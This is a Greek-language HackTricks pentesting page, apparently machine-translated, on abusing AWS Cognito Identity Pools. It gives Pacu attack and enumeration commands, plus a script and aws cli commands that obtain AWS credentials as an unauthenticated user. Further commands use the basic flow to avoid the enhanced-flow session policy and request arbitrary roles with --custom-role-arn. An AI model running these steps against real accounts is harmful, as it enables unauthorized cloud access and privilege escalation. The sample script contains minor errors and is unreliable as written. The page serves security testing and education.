Cognito Identity Pools

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

Οι πιστοποιητικές πισίνες εξυπηρετούν ένα κρίσιμο ρόλο επιτρέποντας στους χρήστες σας να αποκτήσουν προσωρινές διαπιστευτήρια. Αυτά τα διαπιστευτήρια είναι απαραίτητα για την πρόσβαση σε διάφορες υπηρεσίες του AWS, συμπεριλαμβανομένων, αλλά όχι περιοριστικά, των Amazon S3 και DynamoDB. Ένα χαρακτηριστικό των πιστοποιητικών πισίνων είναι η υποστήριξή τους τόσο για ανώνυμους επισκέπτες χρήστες όσο και για μια σειρά παρόχων ταυτότητας για την πιστοποίηση των χρηστών. Οι υποστηριζόμενοι πάροχοι ταυτότητας περιλαμβάνουν:

  • Πισίνες χρηστών Amazon Cognito

  • Επιλογές κοινωνικής σύνδεσης, όπως Facebook, Google, Login with Amazon και Sign in with Apple

  • Πάροχοι που συμμορφώνονται με το OpenID Connect (OIDC)

  • Πάροχοι ταυτότητας SAML (Security Assertion Markup Language)

  • Πιστοποιημένες ταυτότητες αναπτυσσόμενων προγραμματιστών

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Για να δημιουργήσετε συνεδρίες Identity Pool, πρέπει πρώτα να δημιουργήσετε ένα Identity ID. Αυτό το Identity ID είναι η ταυτοποίηση της συνεδρίας αυτού του χρήστη. Αυτές οι ταυτοποιήσεις μπορούν να έχουν έως και 20 σύνολα δεδομένων που μπορούν να αποθηκεύσουν έως και 1MB από ζεύγη κλειδιού-τιμής.

Αυτό είναι χρήσιμο για να κρατήσετε πληροφορίες ενός χρήστη (ο οποίος θα χρησιμοποιεί πάντα το ίδιο Identity ID).

Επιπλέον, η υπηρεσία cognito-sync είναι η υπηρεσία που επιτρέπει να διαχειρίζεστε και συγχρονίζετε αυτές τις πληροφορίες (στα σύνολα δεδομένων, αποστέλλοντας πληροφορίες σε ροές και μηνύματα SNS...).

Εργαλεία για pentesting

  • Pacu, το πλαίσιο εκμετάλλευσης AWS, περιλαμβάνει τώρα τα αρθρώματα "cognito__enum" και "cognito__attack" που αυτοματοποιούν την απαρίθμηση όλων των πόρων Cognito σε έναν λογαριασμό και εντοπίζουν αδύναμες ρυθμίσεις, χαρακτηριστικά χρήστη που χρησιμοποιούνται για έλεγχο πρόσβασης, κ.λπ., και επίσης αυτοματοποιούν τη δημιουργία χρήστη (συμπεριλαμβανομένης της υποστήριξης MFA) και την ανέλιξη προνομιακών δικαιωμάτων βασιζόμενοι σε τροποποιήσιμα προσαρμοσμένα χαρακτηριστικά, δυνατές διαπιστευτήριες πρόσβασης στο identity pool, δυνατότητα ανάθεσης ρόλων σε αναγνωριστικά ταυτότητας, κ.λπ.

Για μια περιγραφή των λειτουργιών των αρθρωμάτων, δείτε το μέρος 2 του blog post. Για οδηγίες εγκατάστασης, δείτε την κύρια σελίδα του Pacu.

Χρήση

Παράδειγμα χρήσης του cognito__attack για να προσπαθήσετε τη δημιουργία χρήστη και όλων των διανυσματικών προνομίων εναντίον ενός συγκεκριμένου identity pool και πελάτη πισίνας χρηστών:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Δείγμα χρήσης του cognito__enum για να συγκεντρώσετε όλα τα user pools, user pool clients, identity pools, χρήστες κλπ. που είναι ορατά στον τρέχοντα λογαριασμό AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner είναι ένα εργαλείο γραμμής εντολών σε python που υλοποιεί διάφορες επιθέσεις στο Cognito, συμπεριλαμβανομένης της ανεπιθύμητης δημιουργίας λογαριασμού και της επέκτασης της πισίνας ταυτοτήτων.

Εγκατάσταση

$ pip install cognito-scanner

Χρήση

$ cognito-scanner --help

Για περισσότερες πληροφορίες ελέγξτε το https://github.com/padok-team/cognito-scanner

Πρόσβαση σε ρόλους IAM

Μη εξουσιοδοτημένη

Το μόνο πράγμα που χρειάζεται ένας επιτιθέμενος για να αποκτήσει διαπιστευτήρια AWS σε μια εφαρμογή Cognito ως μη εξουσιοδοτημένος χρήστης είναι το Identity Pool ID, και αυτό το ID πρέπει να είναι καταχωρημένο στην ιστοσελίδα/εφαρμογή για να το χρησιμοποιήσει. Ένα ID φαίνεται κάπως έτσι: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (δεν μπορεί να ανακαλυφθεί με βίαιο τρόπο).

Ο μη εξουσιοδοτημένος ρόλος IAM Cognito που δημιουργείται μέσω αποκαλείται από προεπιλογή Cognito_<Όνομα Identity Pool>Unauth_Role

Αν βρείτε ένα Identity Pool ID που έχει καταχωρηθεί και επιτρέπει μη εξουσιοδοτημένους χρήστες, μπορείτε να αποκτήσετε διαπιστευτήρια AWS με:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Ή μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές aws cli:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Σημείωση ότι από προεπιλογή ένας μη εξουσιοδοτημένος χρήστης του Cognito ΔΕΝ μπορεί να έχει καμία άδεια, ακόμη κι αν του έχει ανατεθεί μέσω πολιτικής. Ελέγξτε την ακόλουθη ενότητα.

Βελτιωμένη έναντι Βασικής διαδικασίας πιστοποίησης

Η προηγούμενη ενότητα ακολούθησε την προεπιλεγμένη βελτιωμένη διαδικασία πιστοποίησης. Αυτή η διαδικασία ορίζει μια περιοριστική πολιτική συνεδρίας για τη συνεδρία του ρόλου IAM που δημιουργήθηκε. Αυτή η πολιτική θα επιτρέπει μόνο στη συνεδρία να χρησιμοποιεί τις υπηρεσίες από αυτήν τη λίστα (ακόμη κι αν ο ρόλος είχε πρόσβαση σε άλλες υπηρεσίες).

Ωστόσο, υπάρχει ένας τρόπος να παρακάμψετε αυτό, αν η Identity pool έχει ενεργοποιημένη τη "Βασική (Κλασική) Διαδικασία", ο χρήστης θα μπορεί να λάβει μια συνεδρία χρησιμοποιώντας αυτήν τη διαδικασία που δεν θα έχει αυτήν την περιοριστική πολιτική συνεδρίας.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Εάν λάβετε αυτό το σφάλμα, σημαίνει ότι η βασική ροή δεν είναι ενεργοποιημένη (προεπιλογή)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Έχοντας ένα σύνολο διαπιστευτηρίων IAM, θα πρέπει να ελέγξετε ποια πρόσβαση έχετε και να προσπαθήσετε να αναβαθμίσετε τα δικαιώματα.

Επαληθευμένος

Θυμηθείτε ότι οι επαληθευμένοι χρήστες πιθανόν να έχουν διαφορετικές άδειες, οπότε εάν μπορείτε να εγγραφείτε στην εφαρμογή, δοκιμάστε να το κάνετε και να λάβετε τα νέα διαπιστευτήρια.

Ενδέχεται επίσης να υπάρχουν ρόλοι διαθέσιμοι για επαληθευμένους χρήστες που έχουν πρόσβαση στο Identity Pool.

Για αυτό μπορεί να χρειαστεί να έχετε πρόσβαση στον πάροχο ταυτότητας. Εάν αυτός είναι ένας Cognito User Pool, ίσως μπορείτε να καταχραστείτε την προεπιλεγμένη συμπεριφορά και να δημιουργήσετε ένα νέο χρήστη μόνοι σας.

Ο ρόλος IAM Cognito που δημιουργείται μέσω επαλήθευσης ονομάζεται από προεπιλογή Cognito_<Identity Pool name>Auth_Role

Πάντως, το παρακάτω παράδειγμα υποθέτει ότι έχετε ήδη συνδεθεί σε ένα Cognito User Pool που χρησιμοποιείται για την πρόσβαση στο Identity Pool (μην ξεχάσετε ότι μπορεί να έχουν διαμορφωθεί και άλλοι τύποι παρόχων ταυτότητας).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Πάρτε το identity_id από την προηγούμενη απάντηση της εντολής
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# Στο IdToken μπορείτε να βρείτε τους ρόλους στους οποίους έχει πρόσβαση ένας χρήστης λόγω των ομάδων του User Pool
# Χρησιμοποιήστε το --custom-role-arn για να λάβετε διαπιστευτήρια για έναν συγκεκριμένο ρόλο
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Είναι δυνατόν να διαμορφώσετε διαφορετικούς ρόλους IAM ανάλογα με τον πάροχο ταυτότητας στον οποίο συνδέεται ο χρήστης ή ακόμα και απλά ανάλογα με τον χρήστη (χρησιμοποιώντας διεκδικήσεις). Επομένως, εάν έχετε πρόσβαση σε διάφορους χρήστες μέσω του ίδιου ή διαφορετικού παρόχου, μπορεί να αξίζει να συνδεθείτε και να έχετε πρόσβαση στους ρόλους IAM όλων τους.

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated